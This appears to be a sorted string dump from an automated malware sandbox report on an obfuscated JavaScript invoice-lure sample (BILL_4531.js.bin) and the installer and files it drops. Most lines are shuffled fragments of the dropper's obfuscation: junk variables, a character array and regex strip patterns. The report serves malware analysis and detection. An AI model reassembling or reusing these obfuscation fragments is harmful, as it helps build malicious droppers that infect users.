SystemParametersInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SystemSetupInProgress

Unicode based on Runtime Data (wscript.exe )

ta-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

TaskBar

Unicode based on Runtime Data (helper.exe )

tc_ptosystem)

Ansi based on Image Processing (screen_4.png)

TcpAutotuning

Unicode based on Runtime Data (eXe )

tegrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

Temp buffer for parse only usage.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TerminateProcess

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

text-decoration: none;

Ansi based on Dropped File (nav.css)

text-decoration:none;

Ansi based on Dropped File (nav.css)

tFolderPathW

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

tg-Cyrl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

tg-Cyrl-TJ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

the custom navigation menue that was introduced

Ansi based on Dropped File (nav.css)

the pic_height_in_mbs exceeds the level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

the pic_width_in_mbs exceeds the level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

the total count of mb exceeds the level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ThemeApiConnectionRequest

Unicode based on Runtime Data (wscript.exe )

these

Ansi based on Image Processing (screen_4.png)

This file contains the CSS for the horizontal

Ansi based on Dropped File (nav.css)

This Unicode version of Windows Script Host will only execute under Windows NT.Please use the ANSI version of Windows Script Host."

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ThreadingModel

Unicode based on Runtime Data (wscript.exe )

Thursday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Timeout

Unicode based on Runtime Data (wscript.exe )

timestamp=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

tions

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

TlsAlloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsFree

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsGetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsSetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

tm%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

tobedeleted

Unicode based on Runtime Data (helper.exe )

Too many links

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Too many open files

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Too many open files in system

Ansi based on Dropped File (gmpopenh264.dll.97104820)

top:0;

Ansi based on Dropped File (nav.css)

top:28px;

Ansi based on Dropped File (nav.css)

TrackPopupMenu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

TranslateMessage

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Translation

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

TransparentEnabled

Unicode based on Runtime Data (wscript.exe )

Transports

Unicode based on Runtime Data (eXe )

trinidad & tobago

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TrustPolicy

Unicode based on Runtime Data (wscript.exe )

Tuesday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

turday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Type Descriptor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TypeLib

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

tzm-Latn-DZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

u@hL@

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Ua\AppData\Local\Temp\nsa2FE8.tmp

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

ud%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

udbejmesapd = '89091';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

udoqyltyt = "yjeva";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ufoversiw = 89.365;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ug-CN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

uhegcejw = 12;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

uiScanIdxStart (%d) != 0 and uiScanIdxEnd (%d) !=15 not supported here

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ukWWa

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

ul a:hover {background:none;}#catnav a, #catnav a:visited {display:block; padding:6px 12px;}#catnav a:hover {color:#fff !important;text-decoration:none;}#catnav a:active {color:#fff;text-decoration:none;}#catnav .current-cat {background:#fff;}/*** Dropdown Menus for categories ***/#catnav li ul {/*first level dropdown*/position: absolute;z-index: 10;left: -999em;height: auto;width: 174px;border-bottom:1px solid #fff;padding-top:9px;display:block;}#catnav li ul ul {/*second level dropdown*/margin: -2em 0 0 172px;}#catnav li:hover ul ul, #catnav li.sfhover ul ul {left: -999em;}#catnav li li {width: 172px;/*border-top: 1px solid #cacbcb;*/border-right: 1px solid #cacbcb;border-left: 1px solid #cacbcb;background: #fff;z-index:99999;}#catnav li li a, #catnav li li a:visited {font-weight:normal;color:#000;font-size:13px;}#catnav li li:last-child a, #catnav li li:last-child a:visited {font-wei

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Unable to find job "%1!ls!".

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

UNCAsIntranet

Unicode based on Runtime Data (wscript.exe )

unexpected heap error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

unexpected return(%d) from EncodeFrameInternal()!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UnhandledExceptionFilter

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

UNICODE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

united-kingdom

Ansi based on Dropped File (gmpopenh264.dll.97104820)

united-states

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unknown

Unicode based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Unknown error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unknown exception

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UnmapViewOfFile

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

unpacking data: %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

unregserver

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

UpdateAccessUnit():::::Key frame lost.....CAN NOT find IDR from current AU.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UPw9LUa

Unicode based on Runtime Data (helper.exe )

URL Protocol

Unicode based on Runtime Data (helper.exe )

urlmon.dll

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

urranvinx = '78597' + 551;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

UseDelayedAcceptance

Unicode based on Runtime Data (eXe )

UseDropHandler

Unicode based on Runtime Data (wscript.exe )

UseFilter

Unicode based on Runtime Data (helper.exe )

UseHostnameAsAlias

Unicode based on Runtime Data (wscript.exe )

UseOldHostResolutionOrder

Unicode based on Runtime Data (wscript.exe )

User Agent

Unicode based on Runtime Data (eXe )

USER32.DLL

Unicode based on Dropped File (gmpopenh264.dll.97104820)

USER32.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Users

Unicode based on Runtime Data (helper.exe )

UseWINSAFER

Unicode based on Runtime Data (wscript.exe )

UTF-16LE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UTF-8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UTF8ServerNameRes

Unicode based on Runtime Data (eXe )

uvvutlafis = "78220";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

uz-Cyrl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

uz-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

uz-Latn-UZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

uzytereh = 'eqoputys';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var abbywawq = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var abiga = "38195" + 66;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var acuvby = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var adoqtitty = typeof '9736';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var advomij = ppovyhyxy + owvebo;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var afdih = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var agasejiw = vkabmeqfafd + mfazyquli;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var agbiwhi = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var age_values = [

Ansi based on Dropped File (home-&-garden)

var ajrahh = ')';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var akysroxihr = typeof 85;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var alucra = "yvfiq";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var amygk = 10;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aponbu = "gqymqi";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aqadbomto = typeof "bfixvisymg";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aqmery = 'replace';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aqodep = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var arqixyfevf = 13.23;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var arsyqu = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var axgurhyje = 43.108;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var axverics = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var aznefsasso = 19.426 + "94173";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var bvomsusdu = 76.442;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var cagnol = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var canhibpyzu = 3.2 + '42744';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var civjajre = 'xymsudk';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var covyd = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var cuqtuz = 7;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var cwihden = typeof 88;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dawtot = typeof "uxjapqe";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var daxxev = 4.75;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dbaxanzi = 'h';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dekusboz = 884 + "33099";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var deqilutku = 4;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dfewtolkybnu = 'vleqcivykn';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dhaqsira = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var divoq = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dnefhulkav = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dxegydla = typeof "elxolujw";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dymiko = 13.6;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dzibysko = "zlip";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var dzylesj = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ebeziqef = vtonkes + itokig;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var efyfis = 't';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var egcafditvi = 17.22;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ehaxinpalx = 886 + "nrymu";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ehevga = 924;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ehowh = 25.1654;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ejlacozfe = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ekcahtepx = typeof '58680';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ekryzsoj = 8.654;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var eljocos = 'lgosrynyzi' + 10.1716;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var emofwaz = "64236";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var emynri = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var enwucnanzy = 'uqagr';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var eriqmivhum = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var escogi = "umy" + 4.834;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var eslipqybzen = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var essawwar = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var etfygfaqy = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var evpelqotu = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ewavke = [yjcewp, uquhiwn, fafiq, ubhogy, geju, noxah, ibxesno, ypedhycw, jyxtiw, dbaxanzi, zbike, npobwus, ajrahh, efyfis];

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fafiq = "'";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var farkysp = 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var febagjyqqu = 89 + "59030";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ffelakn = vimzimfy + ojimuzwo;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ffowzolyl = rpuqqozeg + gqilcelyr;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fgenholza = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fgogoqapn = '71786';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fhuwovguhxo = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fhygpylxu = 62.224;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fjupoq = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fmocabxisgo = 'swydopyj';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var form_inputs = $('#filter-form :input');

Ansi based on Dropped File (home-&-garden)

var form_values = {};

Ansi based on Dropped File (home-&-garden)

var fuldunvive = "19040" + 80;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var fyhhuxtaw = typeof 39.7048;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var geju = "a";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var geluzwo = "nar" + 0.1713;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ggefritjy = 17.5;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gixgydtahzo = isiqa + vgyxpekxo;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gmerizacz = 566;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gopyzvisu = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gugwarem = 13.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var guqweqasky = 'hywpojefe';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var gydmiqxofvi = "78825";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hiqumizo = typeof 736;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hodfar = 68;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hpakevvi = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var hufibed = 8 + 'asbiclusev';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ibdyvi = '34582' + 604;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ibxesno = 'm';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ideluzy = typeof "isvemaftus";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ifjopitxa = true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var igambi = 190 + "eheph";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ihwuzhyc = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ijguhe = 43.2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ijtustys = icdeqlyd + ydugekqe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ikreve = 59.762;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ikwucelfy = 'alyfmixamz';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ilavhys = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ilyjvo = 'vwymo';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var imekpajwob = 75;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var iqidfekm = 'uluzpamtog';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var irwagotl = emofwaz + oqikepki;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var isiqa = 290;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ivew = '82738';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var iwugdiwx = 5.855;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var iwupduc = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ixily = typeof 'sosma';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ixitgock = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ixunlogs = [/du3h8/gi, /gy7dg5/gi, /mwa1a2/gi, /o6r6/gi, /uc9i6/gi, /elw5e1/gi, /gb5i8/gi, /o9n3/gi, /ipz6pl6/gi, /qf8e2/gi, /mu1hr6/gi, /bza4y9/gi, /nm2ln2/gi, /l2a4/gi];

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var izfafex = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var izgyjgipso = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jisvapax = 1.671;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jlyzifhuxc = "arqozy";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jurata = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jywylgepsa = omeni + phetexape;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var jyxtiw = "^";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var kykqiwor = 'atpadkacasx' + 176;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var kyrnorxotda = "ewyna";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var length_values = [

Ansi based on Dropped File (home-&-garden)

var lerlerkytu = typeof document;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var lkopzikyfe = true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var lobutby = 13.86;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ludiwonva = true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var madyvbuk = 2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mcerolvofw = 'zkargoly';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mfazyquli = 2.379;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mkolcive = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mofcax = 124;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mufixxa = yssenqul + ysdoxyvumv;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mvilpexpihk = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mwuhjaqagfu = typeof 'upguniv';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var mzucuxbyf = daxxev + udbejmesapd;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var naccexgi = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nalylpolf = 9.2 + 'ytury';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nibxygu = vbonlajybu + arqixyfevf;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nikatez = deqilutku + uvvutlafis;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nisernu = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nonirq = "77148";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var noxah = "d";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var npobwus = ".";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nuranenvi = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var nyrnuvne = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var obfymogev = "qepozkobg";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var occofi = 12;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var octefonavq = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ocvami = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var oddupaduq = 39.055;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ofezatmon = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ogakwite = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ogjita = 36.764 + '18191';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ohnyjraboq = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ohug = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ojowixi = 516;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var okhuxvylyp = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var olohmabp = 'skudi';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var olupa = "dunyqxygr";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var omegoxab = 676;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var omeni = 'rec';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var opuwe = olohmabp + madyvbuk;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var oqpostonx = 919 + '11744';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ovmumbiph = 49;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var owvebo = 'yxybh';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var owwixupar = 80;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var phetexape = 25;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var pozsix = typeof 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ppovyhyxy = 2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var price_values = [

Ansi based on Dropped File (home-&-garden)

var pynirih = 280.648;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var qehtam = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var qkydilycu = 'zkacly';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rmejlege = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rpuqqozeg = 10.4816;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rtesemre = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rudena = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rvuvdecw = dzibysko + oddupaduq;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var rzedizhi = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var skezedu = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var slider_age = document.getElementById('nouislider_age');

Ansi based on Dropped File (home-&-garden)

var slider_length = document.getElementById('nouislider_length');

Ansi based on Dropped File (home-&-garden)

var slider_price = document.getElementById('nouislider_price');

Ansi based on Dropped File (home-&-garden)

var snihxuputly = typeof "ebeve";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var syhvejuzni = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var tegi = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var teriza = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var tfifkijs = 7;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var twysaw = "64916";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var tytvor = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ubhogy = 'c';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ucopkuxmi = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ucuxju = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ufadebo = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ugbuts = 'hucviqidlo';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uhansywfyx = typeof 65;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uhnydyzsisr = aggaqyxy + udoqyltyt;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uhycxowto = 'tasenaxqe' + 21.343;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var umkelybd = "ihusespe";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var upnarusw = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var upqetp = 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uquhiwn = ':';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var urcabeze = typeof true;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var usfulexv = 'juhinqemdu';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var utany = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uvefixx = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uvqigsitge = '979' + 20.332;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uzifadr = 'ucyne' + 761;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uzoqony = typeof "ahbind";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var uzytereh = 0.1864;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var varhach = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vbonlajybu = 'hjijokj';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vceqwatarc = cipopyp + mrettugcyhe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vebenvy = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vecmohawh = 14.6;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vimzimfy = "ibu";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vimzimfy = "ibu";var ugbuts = 'hucviqidlo';var dbaxanzi = 'h';

Ansi based on Memory/File Scan (BILL_4531.js.bin)

var vpedwaknutpy = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vrijyrloji = 691 + "vtabi";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vtonkes = '1496';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vwivefnawy = "urylz";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var vyrajtyju = 65.647;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var wivbotelma = typeof 'trugre';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var wohkihhe = '44852';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var woqazlohj = 11;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var wtyzyj = 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

